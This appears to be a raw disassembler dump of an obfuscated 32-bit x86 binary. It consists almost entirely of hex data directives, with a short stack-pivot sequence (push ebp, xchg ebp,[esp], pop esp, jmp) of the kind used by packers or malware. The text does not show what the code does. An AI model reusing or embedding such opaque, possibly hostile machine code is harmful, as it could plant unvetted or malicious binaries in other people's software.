0C84F7BDAh, 0B87E1A38h, 0EC1F6D17h, 0F2C419D6h, 0CACF7908h dd 0B0F61005h, 93C86122h, 46D77699h, 17493D1Bh, 6F1B526Ch dd 61CB5A5Bh, 0DB611718h, 94280A3Bh, 0AB1A0003h, 47005776h dd 0A59C6B22h, 0C34E49E3h, 7B182226h, 1A9B60D3h, 0B49E2DDAh dd 8D8D1E55h, 64F4F44h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 0E0C35646h, 66DBC0F5h, 8D89F18Bh, 6481405h dd 205BD09h, 85C70648h, 6483025h, 587Ch, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Ch, 75C35141h, 42BFDA23h dd 0C268685Eh, 6EC7EDBFh, 11800F37h, 0E9000000h, 0Ch, 7E265A71h dd 7BE97990h, 442EE4CCh, 2AD985C7h, 648h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 33BDF8C3h, 0FF3BB0E4h, 4806FDB5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0F381669Eh dd 95FF57F5h, 6480E71h, 535B50Bh, 6A0648h, 92D95FFh, 0C08B0648h dd 0A9E868EBh, 191B8763h, 6E2C83F4h, 76BCF434h, 6F68EB99h dd 2E8C36E1h, 42BB70BCh, 0C8811C02h, 36F9AF8h, 0BAF9F008h dd 4DE27A39h, 0E29A8DFAh, 0A3B76D2Dh, 0BE679452h, 920742DEh dd 52DF1677h, 119C59D8h, 5775C874h, 1A639DEh, 80EC63E0h dd 518F4481h, 6CC51EAEh, 9078E030h, 0EB2AEBD3h, 0E148C963h dd 3AC915D9h, 4EB9F3Bh, 4AE82B63h, 576E9h, 0B9B83900h dd 2025CFDBh, 0D4B35440h, 5958D8B4h, 0CEC36F3Bh, 83081A2h dd 930F6D6Ch, 2470100Dh, 0AEFA8699h, 0F1620E05h, 81C880DEh dd 0B2147C73h, 0FBFE85D1h, 0AB86FB8Ah, 0F57AC906h, 8834E44Ah dd 34BFEB89h dd 128E9D22h, 81EE9F92h, 82217300h, 0EA9FF687h, 0A5AF8A89h dd 38F27A8h, 0DC176461h, 0D26EB16Eh, 0F6C85F52h, 762521B2h dd 39D9713Eh, 9428BFBAh, 196617F2h, 0B8011B1h, 0CF542520h dd 0D9B911CAh, 633F5D5Ch, 0E6B2C3C6h, 64344540h, 0DEAADBDEh dd 0A92C5D48h, 0DABD7229h, 8E8B29C3h, 26C9B628h, 4E4F2A6Dh dd 0DC4C6E7Ch, 1FFB5356h, 0A1FD9F92h, 0F9900702h, 245BE3A5h dd 0FEBA1476h, 0CA76245Bh, 20C3DFADh, 0D6575425h, 8D247300h dd 245B7731h, 1B1EA576h, 307F0D6Ah, 5B793C9Ah, 64D67624h dd 279A81A7h, 7709DDE1h, 0F05CF2CFh, 53h, 0FBFE852Bh, 327A3C8Ah dd 19D57624h, 0E9982A2h, 0D43DDE1h, 2A000000h, 89516B71h dd 47D50513h, 7A0DA5A0h, 50ECFF85h, 0C5A2D3CEh, 2432D395h dd 1986E176h, 9F9A1868h, 0F7D27408h, 0A040505Fh, 1F9A36A1h dd 2E05B218h, 0DF658F7Ch, 41E2BEDAh, 859D2642h, 0F98BF8F9h dd 5216687Bh, 9E762433h, 8C059011h, 0F7BBAE7Dh, 5261C998h dd 0D5A2A146h, 55223FC7h, 825B00B2h, 37FDA21Ch, 0BEEAB68Bh dd 83862D35h, 651E9302h, 0C1F59389h, 34455CE4h, 5360F677h dd 0D2A3BE41h, 71DDD6B9h, 30F4873Dh, 6D983F4h, 48F5781Fh dd 1533E8E2h, 0DDE1B2FEh, 7A24h, 0F9857F00h, 66F98BF8h dd 0B0270A7Bh, 389E911Ch, 7A16D986h, 4C4BE8FEh, 59F1BECFh dd 5C3C3DB9h, 0DBB3A440h, 7624329Dh, 0C6B6B22Ch, 2F5D6F8Bh dd 0E6B2C340h, 6632435Eh, 0BAFED0DDh, 676245Ah, 0F98BF879h dd 8C0B7879h, 37D811CEh, 2BE0C4BBh, 0F1DDE138h, 59h, 0F8F9852Ah dd 5550D36Dh, 0D6A95424h, 0A6F28129h, 0D677041Bh, 0F17DA764h dd 32D088E6h, 931C7624h, 80ED7612h, 384D44ECh, 0A0BBF57Dh dd 0E8A20D0h, 42106164h, 7624FA03h, 0FB888D37h, 710E0BA9h dd 53E85729h, 6D5B00BAh, 0DDE1C9B6h, 0ECE98B25h, 94B81E9Fh dd 1, 0E7E2850Fh, 7A79FA96h, 13C88A0Dh, 492B36C9h, 39152358h dd 0B5053323h, 0C776411Dh, 898C3721h, 522C7B08h, 7624C616h dd 0C744C5A2h, 0A3E5B950h, 317624C5h, 0F080C482h, 0D350B090h dd 95C49A7Bh, 417C6D2Dh, 0B83B4926h, 2595D3ABh, 0BE247C6Dh dd 2437FADFh, 3FBCFB89h, 0A7A2415Dh, 0F0B9C30h, 90E16E63h dd 6E2A8413h, 7A7C6CA6h, 48E6953Dh, 7C6CA70Eh, 974605C9h dd 0D8D08B00h, 7C0E6CE4h, 6CBB6A2Eh, 9B09767Ch, 0F6C1D18h dd 0B948EBA7h, 0F1AADB8Eh, 1672F3E4h, 56E9F97Ah, 0C682DC4Bh dd 127C6CE5h, 10671495h, 0A3E6959Bh, 268CA13Ch, 5BCAC96Ah dd 532021C1h, 0A7FFFC52h, 21C216D5h, 18079834h, 6D2A0E4Ah dd 0BDB83A7Ch, 4123A0CFh, 0A9F972A9h, 0CEA8E1DBh, 0F06EEA1Ch dd 9365057Eh, 70767093h, 11B72DAh, 0B9A90000h, 0B4F4CA7Eh dd 0E0762432h, 77344544h, 6AFD7A05h, 6C40D114h, 0EA89E57Ch dd 83116EEFh, 0E87E5E0h, 82F3F672h, 26CD4DE5h, 9C18B423h dd 278FEC9Dh, 7C7BF888h, 4605770Fh, 76121192h, 0A9003DE6h dd 47E7DBh, 0B93C0000h, 56042D7Bh, 0C3701330h, 245AADEBh dd 0FF7C3B76h, 2197E77Eh, 4F76245Bh, 0C5835320h, 0DA76245Ah dd 8ECAA43Bh, 5A76245Ah, 0EED6285Dh, 58D388E2h, 0E503F8F2h dd 0D4AA3DD7h, 7624F6E4h, 0DB553770h, 8Dh, 0DC7EB938h dd 80DB749h, 1943A7Bh, 532ED66Ah, 4E24DDFBh, 0AB457C6Ch dd 9C9D190Fh, 0A9018EEFh, 83116E09h, 0DB72E5E0h, 6C4DC583h dd 3E94137Ch, 654DF6A2h, 0E5B7C4DDh, 4AC64742h, 5F2CADA8h dd 6C4EC48Fh, 8C73FF7Ch, 0B8D8DF64h, 0B225E7D0h, 0BB9D4BDCh dd 60039F82h, 0DF71E465h, 412E5F52h, 21BBCAE9h, 632F8782h dd 11B4C5C0h, 310AFAA1h, 95A2FC6Bh, 457C7AD6h, 0F18E8B29h dd 878220B0h, 912B7A06h, 0FA871514h, 41E996E7h, 0DC7EB926h dd 3510B749h, 91A6F89Dh, 597C7382h, 0DFACA54Dh, 502051DEh dd 0D8B4D4D3h, 582F5C5Bh, 79843B23h, 0DF65C776h, 0E7F55DDAh dd 0C91B8165h, 0F13BE05Ah, 7C157772h, 304140E0h, 0B43FDB73h dd 30B0C0B1h, 0CEC54031h, 0E1216737h, 0C0AFC10Ch, 618B706Ah dd 1F3533C2h, 0B3933143h, 6A09A332h, 0EFBBC76Fh, 82304144h dd 3, 85DA4101h, 494E5FCh, 790B787Fh, 0FC8CFDFCh, 720E7F6Ah dd 0F682F3F6h, 6A06774Ah, 0EA86F7CAh, 6B397655h, 0B9BFCCC9h dd 81E38953h, 4C3h, 4BF5700h, 29000000h, 1C875FFBh, 72685C24h dd 89000022h, 0D682414h, 89000026h, 9CBA243Ch, 5719F823h dd 0E03942BFh, 47DFF775h, 4707EFC1h, 0FC2FC781h, 0FA293C9Ch dd 81EAD15Fh, 6C3C53F2h, 3C8B5468h, 4C48324h, 6A0968h dd 24048900h, 8B8h, 89F80100h, 34FF5810h, 0C4815F24h, 4 dd 5A2434FFh, 0E904C483h, 0FFF92951h, 2470FFB0h, 83D46D38h dd 7429224Ch, 0B8FE20C0h, 64F54ABh, 0E0FFC503h, 21C917D3h dd 5638B062h, 6B76425Dh, 7E23000h, 1718C0F9h, 72F4AE2Ah dd 602C5621h, 31E98C70h, 4BB9F16h, 200B69D2h, 9141877h dd 4543E8D6h, 65B86E95h, 64425981h, 77B41B07h, 594CC52Bh dd 57058953h, 202D95C7h, 342DBE90h, 1120C128h, 277512A3h dd 3B060F4Dh, 0E8F9191h, 4705A9E5h, 3D12A961h, 6FD93E82h dd 4C9AF887h, 57116E00h, 56648D8Dh, 8D89064Fh, 6481405h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0EDC35242h dd 3E769B30h, 0A9958988h, 0C7064808h, 48302585h, 72AC06h dd 20EB8100h, 0C727CC5Fh, 482AD985h, 6, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0D3BAFB71h, 5631B1F5h, 28D9BD89h, 0FF580648h, 4827D9B5h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 0C3F22D2h, 0BA66C8B7h, 95FF399Dh, 6480E71h dd 0D537BF66h, 2285858Bh, 6A0648h, 92D95FFh, 0C08B0648h dd 0C58D1EEBh, 0AEFF6E19h, 6E7555Ch, 6F37E015h, 56A1F6E6h dd 92A91B8h, 3FFF91Fh, 9F653618h, 58BD04EBh, 40E93C8Eh dd 17000005h, 0A5F1936Eh, 227E1A1Fh, 0B6E28E9Dh, 4551330Eh dd 0BBD8B8B9h, 4346E2DAh, 0F6D37521h, 7C73FEAAh, 0E4E3801Ch dd 0E6B8CF84h, 7C7388A2h, 850F982Eh, 0FE8AFBFEh, 51E87F72h dd 24333B7Dh, 48EE8976h, 0C0C76C38h, 4742E1B3h, 0CBD85A36h dd 2432B5F3h, 0E7640376h, 30EFA396h, 2C4C4BE8h, 0F706F570h dd 4B8F3DB9h, 0AE45D051h, 247E98D0h, 0ABEDC176h, 3976247Eh dd 0CD65027Eh, 4544E1BDh, 0D4C26434h, 0A6D75433h, 24CCB33Fh dd 0AEFA8699h, 0E1710E05h, 76247EA4h, 275453D0h, 0DBA8A955h dd 0AAB94EDAh, 0CDB23CDDh, 0FED3BAC0h, 8B082DB8h, 1533E862h dd 0DDE164EEh, 0AD34h, 0A8069D00h, 762498F0h, 881BB3FCh dd 8AFBFE85h, 24327A3Ch, 2BC2D576h, 24331553h, 54C4A376h dd 0DBD8A9A8h, 0A2827973h, 0DDE10E79h, 0D3A5B1EAh, 2FF49DD3h dd 14787h, 85DC0000h, 0CE50ECFFh, 95C5A2D3h, 762432D3h dd 32EEAA04h, 0BDFA7624h, 0B423A0CFh, 847870FFh, 1A93517h dd 6D9C2672h, 33E47AD0h, 0A134B5E0h, 0EAF4B40Ah, 0A7C07624h dd 7E15600Fh, 24EA6820h, 990B7476h, 0E6F1C1Dh, 0BD48E8A8h dd 0E29C0E58h, 0CA76E28Ch, 78F986F7h, 1FB1200Bh, 87399194h dd 0E47B15D8h, 3C4D48EAh, 0E081FE7Fh, 2124CE4Ah, 0A9AC5743h dd 0F98528CBh, 0C84954EBh dd 5D4BE9BBh, 0C2A3D0D1h, 333D7B53h, 0EC8B7624h, 36881E6Fh dd 207A349h, 8A892A66h, 1E18AFFDh, 8CED9A89h, 0E19E911Ch dd 59720380h, 0FD163EEDh, 27DDE110h, 5Bh, 0F8F9857Ch, 7B66F98Bh dd 0B46B270Ah, 0A3C1C06Ch, 39764BF7h, 0B9F6CB6Bh, 146A0194h dd 76243254h, 326F2985h, 327D7624h, 0DF913946h, 10CF4460h dd 3B15DDE1h, 7C000000h, 18C5DC07h, 57FF37EDh, 0F8F9854Ch dd 7D7CF98Bh, 1CC38F0Ch, 0BE2928D4h, 33115727h, 0D0DF7624h dd 85C56E7Ah, 3D8DFAFFh, 76243278h, 80A41BD7h, 0DDE10E9Bh dd 141h, 0E285DA00h, 57DC70E7h, 0EC422350h, 3336BDCFh dd 0A817C342h, 80E0FF80h, 0DA4D0F28h, 809A943h, 0C6943A7Bh dd 7C6C4693h, 5123505Fh, 0A940D7D2h, 6C4693D5h, 60B2217Ch dd 0BC74940Bh, 435FF774h, 0D8A9AC57h, 205836CDh, 0AC7C6D0Eh dd 296D6BC3h, 5F7C6D0Eh, 0D2AEDFD2h, 0A0215E4Dh, 0DBB8712Eh dd 0E380A817h, 6774AF7h, 0D36DF879h, 0EEFA504Dh, 453231B2h dd 1F129E32h, 5D58DBB7h, 0D0D75C2Ch, 5455D1A3h, 7734A627h dd 0F38D28BEh, 60017E73h, 12B90CAh, 0CBCE7462h, 1C7CFDBAh dd 0A9D5877Ch, 1275DDBh, 80C60000h, 8D2A670Bh, 15D8879h dd 76244247h, 0FA6DEA95h, 2441E4A4h, 1FB7F076h, 3FD6744Fh dd 6C50A66Fh, 475327Ch, 0A8C8CF74h, 37077FCh, 60F7F271h dd 892120CCh, 1F129EEAh, 6796126Eh, 3D44C330h, 710E8FE0h dd 3B8E8323h, 9B03D887h, 0DB67A21h, 59C26A36h, 0CADBA9B6h dd 0E71D5B33h, 0CCAB7C6Ch, 3DE666h, 0B93D0000h, 704ED97Bh dd 76243388h, 0A7E1BDD4h, 35762432h, 0D33CA5BEh, 94152BD3h dd 747140E3h, 119EE24Eh, 0E896D260h, 0D7EB7624h, 2C0FC68h dd 0E8CD3B93h, 9C1B7624h, 8342FCh, 0B9C10000h, 7549DC7Eh dd 7C6C4EBCh, 871E6F08h, 4DDA9EF0h, 99E67C6Ch, 0C7C26131h dd 594AE9A5h, 6C4E4305h, 3CE2917Ch, 0CDE27875h, 71E465E2h dd 0FCC484DAh, 73F07C6Ch, 0A660774h, 18B6C56Dh, 7C6CFD5Bh dd 0CF15CA84h, 6B432124h, 0B1C9950h, 6CFCF5B3h, 27A4C37Ch dd 9E5F2FA6h, 2A82BC53h, 0C76C3C4Dh, 92C4DDD6h, 733571F0h dd 2B946523h, 0B7347376h, 2C935FC6h, 0CA5DFF38h, 7AEB39F4h dd 86E28D7Ch, 41EC80FDh, 33420658h, 0E18E7624h, 4972CA60h dd 0E67D1483h, 2432D088h, 3B931C76h, 7389609Dh, 56EA817Ch dd 0C484D2B1h, 107C7388h, 0F4B33F97h, 0BF4EF587h, 0E0B5317Fh dd 0C8BF144Bh, 0B93F27F5h, 0C8D9BB38h, 8C1B5D31h, 0CEA97C73h dd 710043B5h, 0D971D96Fh, 6ACBA39h, 3FC17203h, 8EAD75E3h dd 9D22BE3Fh, 33B0F18Eh, 4062F442h, 530FB734h, 3AF41ECh dd 4BE8A80Eh, 0DB752C4Ch, 1AF65C59h, 9FED9A99h, 6D6C0917h dd 7A0D9FECh, 0E2821E6Fh, 0F27376FCh, 3FECDE85h, 71089FE6h dd 0B23F5B1Dh, 920E69B2h, 16E1F12h, 0A04837A9h, 28640403h dd 0A8FF8C8Bh, 0C0966914h, 3B2h, 0DA411100h, 94E5FC85h dd 0B787F04h, 8CFDFC79h, 0E7F6AFCh, 82F3F672h, 6774AF6h dd 86F7CA6Ah, 397655EAh, 0BFCCC96Bh, 6B0A68B9h, 0C890000h dd 4EC8324h, 68243489h, 0F14h, 55240C89h, 4F5692BDh, 4815506h dd 900DD624h, 0EE815E21h, 21900DD6h, 2C61685Dh, 24890000h dd 24048124h, 4, 4EC8159h, 89000000h, 418F2434h, 240C8B08h dd 5E08950h, 4, 8704C083h, 8B5C2404h, 89502434h, 405E0h dd 4050000h, 87000000h, 0E95C2404h, 0FFF922A9h, 902C4DD4h dd 0B814C7C7h, 64F5B58h, 0E0FFC503h, 4BFC4DA6h, 769ECBA0h dd 5F33AFB6h, 2D4A970Ch, 1D26419Ch, 4871179Ah, 54093CFBh dd 35493F75h, 36276018h, 5B11A928h, 164ECA7Bh, 784BF73Dh dd 60E362B2h, 0F6F204EBh, 3E941E2h, 9F000005h, 2D791B16h dd 0AAE68287h, 3E6A3615h, 0CDD9BBB6h, 23402021h, 0CBCE6A52h dd 7E6BFDA9h, 0E4FB8612h, 6C6B0884h, 6E40570Ch, 7C738F2Ah dd 857710B6h, 0D06CFBFEh, 0F0FF5752h, 920504A0h, 0C7D68FEh dd 7C75FD6Fh, 55DECAD6h, 0D053215Eh, 2ED4A4D5h, 8320BC2Bh dd 0AA812E84h, 42E10BF0h, 0CC692547h, 2E5F52DEh, 0F4A0C041h dd 6B397649h, 7F33CD5h, 0CEDFFE01h, 25953041h, 2337B266h dd 90078481h, 8C70681Bh, 0C1696E57h, 0D45CF0A1h, 0BACFACDDh dd 5971DD43h, 57C36B40h, 0CDD8A9ACh, 0CCA2B133h, 7624898Ch dd 78DE5F58h, 248A1B5Ah, 0BCA74F76h, 2489A6E2h, 0F4753276h dd 4B4EF587h, 2B5859D9h, 5C954A00h, 60443BB7h, 0DDE159BBh dd 7561h, 0E980BA00h, 0DBA8AD57h, 32CC8CDAh, 6B187624h dd 2D8F7569h, 983EBF24h, 5F887BF8h, 0B57A954Ch, 2EBCCD4Ah dd 76251468h, 65121590h, 0FE7B6D17h, 6CED8AFBh, 7635871Fh dd 39E658B1h, 0E1EC140Fh, 1CEDDh, 85550000h, 0D16BFAFFh dd 42235051h, 37BDCFECh, 0F4858421h, 2B7936B7h, 0F2F9B68Bh dd 1B994338h, 2777600Dh, 76243261h, 283006Fh, 8A892A66h dd 0F98545EEh, 7BF98BF8h, 0DC79017Eh, 0D7A4A340h, 0B8BF3AD6h dd 3CE35812h, 0CC7FA847h, 76DCC40Ch, 791B1E9Ah, 7B3D9128h dd 0A9762506h, 3D7A0B16h, 0B0AD334Fh, 8D25A2C3h, 1263660Dh dd 95E2E186h, 0E47B1578h, 0A01F51F9h, 0E1C48F84h, 6555DDh dd 0A53C0000h, 25108FC9h, 0FC525D76h, 0F8F985EBh, 7B66F98Bh dd 0B46B270Ah, 56C1C06Ch, 32A9EFBFh, 0BC377624h, 941A7FDEh dd 7FD75448h, 0C39B3263h, 76248185h, 12FE5453h, 96E29396h dd 696213EEh, 0ED260EFDh, 7EDDE15Fh, 77D197E7h, 901F7624h dd 32123Ah, 85890000h, 0F98BF8F9h, 8F0C7D7Ch, 28D41CC3h dd 85A84B29h, 3D8DFAFFh, 76243278h, 79A41BD7h, 32CC8CE2h dd 9F187624h, 0E7CA737h, 1A6DDE1h, 0FD000000h, 96E7E285h dd 521668FFh, 9E762433h, 5AD9B911h, 2BA72E5Fh, 7017A974h dd 0CA5D3D95h, 0E2DDBDDFh, 0A8D1AD38h, 0D17C6C46h, 4724643Ah dd 0F7B07C6Ch, 2754535Fh, 0C9ABAE55h, 225356DDh, 6C46D294h dd 677A067Ch, 0FAF97A16h, 37F4A68Dh, 6EDD91FEh, 5E3A39BAh dd 0D5A2A142h, 0CE68C9C2h, 0DDB80B8Ch, 1B1EA575h, 9E951E6Ah dd 151093E1h, 8A71E164h, 2C93ED75h, 18787F04h, 0A9EE8B70h dd 12351DBh, 0B9CA0000h, 7549DC7Eh, 7C6C41B0h, 55EC7B04h dd 40EF05Ch, 66342BB4h, 7C6C9F22h, 4A69C1AEh, 0D2BEB53Eh dd 49263DC6h, 0D3ABB83Bh, 7C6C9E95h, 0B6C74423h, 0FE219ED0h dd 0DBDF9D85h, 0BC4ADB2Eh, 37B2F8B9h, 7D1DB532h, 0F991F3F6h dd 0DBA96E02h, 3BD8h, 0EC804300h, 9E54D44h, 0A0FE692Bh dd 76243338h, 1CAADBA4h, 7624325Ch, 0B25209A1h, 0C484DA86h dd 10762432h, 0BAC67E63h, 0A956AC96h, 0F7E1BD28h, 6576251Dh dd 96C07E1Ah, 47000000h, 49DC7EB9h, 6C4EBC75h, 0F86F087Ch dd 72D8DF64h, 898C3745h, 3134BFEBh, 4EB1F240h, 60EA7C6Ch dd 46DD74BBh, 6C4E3068h, 0A3F3BC7Ch, 7C6C4DE5h, 500A7F3h dd 20B63774h, 94F4F370h, 0CEC363FDh, 825AF0B1h, 0ED8413B9h dd 6C4DD791h, 0EAAE007Ch, 0F67C6C4Dh, 5AFFB89h, 6A2B8300h dd 0BBA96114h, 9C197582h, 0F7891C9Dh, 0DEDD7550h, 552221C2h dd 0AD5B00B2h, 15DC892h, 7C7AD654h, 0D970E780h, 6C4DC385h dd 0DE9AF47Ch, 0EA7C6C4Dh, 20B0FF8Dh, 922E8483h, 0DC7EB9F1h dd 8F407549h, 0DA717C73h, 738EC484h, 3F97107Ch, 0CA61F4B3h dd 738EB4F4h, 0CF67007Ch, 603ED5A0h dd 7C738F28h, 0DAD6A954h, 1EA575DDh, 9428791Bh, 0D04016E9h dd 0AABC4753h, 38793615h, 0FD4D3ABBh, 0C421264Fh, 5E817E2Ch dd 0DDAD9725h, 851076D0h, 6536F29h, 9C327DB8h, 0C16377FCh dd 49F6B7C4h, 0F1F47F2Bh, 7170F080h, 0ABAE4AE6h, 4675DDDAh dd 84AC13DFh, 0C98F8FFh, 63136067h, 3, 85DA41E0h, 494E5FCh dd 790B787Fh, 0FC8CFDFCh, 720E7F6Ah, 0F682F3F6h, 6A06774Ah dd 0EA86F7CAh, 6B397655h, 0B9BFCCC9h, 81E28952h, 4C2h dd 4BB5300h, 29000000h, 14875BDAh, 0D5685C24h, 89000052h dd 5468243Ch, 8900004Ch, 7768240Ch, 8900002Dh, 1AB9240Ch dd 89064F5Ch, 0EC8159CFh, 4, 81242489h, 42404h, 53590000h dd 8153FB89h, 7CD242Ch, 418F71C6h, 8418108h, 71C607CDh dd 240C8B5Bh, 81E18951h, 4C1h, 4C18300h, 5C240C87h db 8Bh, 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_541331 ; --------------------------------------------------------------------------- dd 0D74365A2h, 13ECE49Ah, 1BDD7C19h, 87B88F3Fh, 3064F60h dd 80E0FFC5h, 0E34F8EF3h, 8227795Ah, 12C3180h, 0A412D87Eh dd 0AA75E338h, 0FD44F90Fh, 9656930Ah, 0CB04E486h, 923365F0h dd 0F337CC28h, 1E3B3C5Ch, 0B0639C2Ch, 14580A63h, 0B300845Dh dd 63190446h, 911BA411h, 0E8435113h, 6, 0FE984902h, 0B70F46E0h dd 8B665FD9h, 88C781CBh, 6600006Eh, 7FB8F38Bh, 0F00001Bh dd 178BF0BFh, 53EA81F8h, 0E84BD7F8h, 5, 0E6710BA9h, 870F6050h dd 0 dd 0D6CB8166h, 81596153h, 6082D0F2h, 860F45h, 81000000h dd 0E268FC2h, 11E939h, 34250000h, 0A50AF185h, 1C7EFA84h dd 0E666BD3Dh, 89F9CA4Fh, 3EF8317h, 4FF2B70Fh, 61B7DAB9h dd 1E8837Fh, 0FFA0850Fh, 8C0FFFFFh, 0Ch, 6840Fh, 8A0F0000h dd 0 dd 62B88D8Dh, 6A064Fh, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 958B95C3h, 6483251h, 14058D89h dd 0C7FC0648h, 48302585h, 65A406h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 534CECCFh dd 0C75EF08Ah, 482AD985h, 6, 0BE800h, 5C350000h, 8970DA4Ah dd 0FF3BDA17h, 5B851D5h, 5A49F50Ch, 0B5B5FF5Ah, 6A06482Fh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 3903C352h, 6650B991h, 0CD8CF81h, 0E7195FFh dd 8B570648h, 6A5ADFh, 92D95FFh, 0C08B0648h, 0BD4A0DEBh dd 953F815Dh, 0AA327D20h, 0EBA0377Bh, 10h, 3 dup(0) dd 6AC08B00h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 96D1C352h, 0BA6D6E97h, 0BA665555h dd 0BD836266h, 6481299h, 83097500h, 480D35BDh, 19740006h dd 0C08B5350h, 42DB8h, 0B9858900h, 8D064829h, 4AA4649Dh dd 5BD3FF06h, 35BD8358h, 6480Dh, 53501774h, 42DB8h, 0B9858900h dd 8D064829h, 4AA1539Dh, 5BD3FF06h, 57006A58h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 7E9E6B3h, 42000000h dd 0A28AAFA3h, 840F6296h, 0Ch, 7E9h, 2CA78A00h, 7AEBC332h dd 850FC08Bh, 0Ch, 6860Fh, 0B58B0000h, 64814E9h, 0A218D8Bh dd 0B70F0648h, 2ABE66D7h, 0F98363h, 8F840Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 930976C3h, 3C45905Ah, 0F78B75E6h, 2C3D8B64h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 3D97C357h, 8A7CB036h, 840FFF0Bh, 39h, 13259D31h dd 3F8B0648h, 1329BD29h, 0C0320648h, 0F3D3BF0Fh, 158E0FAAh dd 60000000h, 6118503h, 7E80648h, 0C6000000h, 395096A0h dd 6158AA90h, 3820Fh, 0FC530000h, 4149355Eh, 8A0F5350h dd 2, 0F18BF08Bh, 0FF985C6h, 6A470648h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 9D0FC355h dd 8AC43CC3h, 696C2C29h, 17F1958Bh, 8C0F0648h, 5, 0D41233BEh dd 858B6072h, 6482ADDh, 6861CAB3h, 0B36DBEEEh, 310F5250h dd 481585Ah, 68C93E24h, 53006A29h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 0A9B5FF2Ah, 6A064829h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 56B5C357h, 422C9774h, 0B1B5333Dh, 0E9064807h dd 5, 0A344E5F2h, 60858D89h, 0E8064B7Fh, 12h, 7EA853FEh dd 0C9F1C2A2h, 0EB59D17Eh, 6CEF46A8h, 0F18B58A2h, 6AD0FF5Eh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 21FCC357h, 0C0EC192h, 89355654h, 4827E18Dh dd 41958B06h, 89064813h, 4808F185h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 25D9D1FEh dd 0DB08A46Fh, 85C67E76h, 6480FF9h, 0B5958B53h, 0E8064830h dd 4, 88986AFCh, 5050D18Bh, 0FF08B52h, 12E831h, 52F10000h dd 0F4121BAAh, 0D2D5CE02h, 0B98D3374h, 0E04B4B64h, 8E8h dd 90F2CD00h, 19D0ADEDh, 5A5E5E03h, 24448B58h, 8860F04h dd 52000000h, 8D0Fh, 8B5E0000h, 0D78B6600h, 4244489h, 0D18B6653h dd 8166585Eh, 0FF17C4F6h, 4829A9B5h, 0D5B58906h, 8D06482Bh dd 4B7F6085h, 0FFF08B06h, 52006AD0h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 5D717052h dd 0BF568E2Dh, 858DF78Bh, 64B390Bh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 9EC35343h, 25F5DFAFh, 3198529h dd 0AE90648h, 7C000000h, 92055E29h, 0EE7E3C7Dh, 39858904h dd 0F064820h, 489h, 0B7BE6600h, 6A206AECh, 3995FFFFh, 35064820h dd 53504149h, 5B585C7h, 10648h, 85C70000h, 6480D9Dh, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 92C35242h dd 70C3B137h, 0B1022938h, 29BD8920h, 8306482Bh, 48202DBDh dd 840F0006h, 36h, 858B4AB6h, 6480FD9h, 1535B52Bh, 0A3640648h dd 0 dd 27919D31h, 858B0648h, 6480A31h, 0BD89D08Bh, 64823EDh dd 0B589E08Bh, 64808E1h, 13A9B58Bh, 0BD830648h, 6482BD9h dd 19850F00h, 0B2000003h, 85C6F901h, 6480FF9h, 0C368F556h dd 818A0D46h, 0EA1C2404h, 6A1FB7h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 763251C3h, 4A27EF47h dd 0FFE7D9B3h, 4829A9B5h, 8DF08B06h, 4B7F6085h, 61F86006h dd 0AE9D0FFh, 7000000h, 0C35367EFh, 0DEDAA05Ah, 25B65086h dd 8B240489h, 482A59B5h, 0C18D8D06h, 8B064811h, 4817F995h dd 918D8906h, 9106480Bh, 0DE950h, 0F890000h, 3273BC9Fh dd 11929170h, 918EA212h, 3DBBF281h, 46A2FBAh, 0E8F7BF0Fh dd 4, 1000h, 5350F18Bh, 5AD38B66h, 424448Bh, 53525060h dd 0E9310F59h, 8, 6A9457BBh, 6548AD95h, 0E4BE585Ah, 615248C9h dd 0BA66008Bh, 4489B456h, 8E90424h, 0CE000000h, 0A72D4CC4h dd 58AE84C9h, 0B5FFD18Ah, 6481345h, 12AD958Bh, 0D0FF0648h dd 1345BD8Bh, 0B5890648h, 6480519h, 6A3C7F03h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 8577C353h, 0F8C781h, 47C70000h, 2024h, 25958B60h, 83064810h dd 4F62CCBDh, 840F0006h, 10Bh, 809B52Bh, 14E90648h, 71000000h dd 0B5673192h, 93A797D5h, 23BE7238h, 5DAA8455h, 83E81B58h dd 85BA28C7h, 0C742E0EFh, 696A2E07h, 447C764h, 617461h dd 6870Fh, 880F0000h, 0 dd 62D4858Bh, 4789064Fh, 1D85290Ch, 8B064806h, 4F62D885h dd 858B6006h, 6482299h, 5E56F560h, 47896161h, 28C78308h dd 0C7F0BF0Fh, 6F632E07h, 14E86Eh, 51C10000h, 40D0FE08h dd 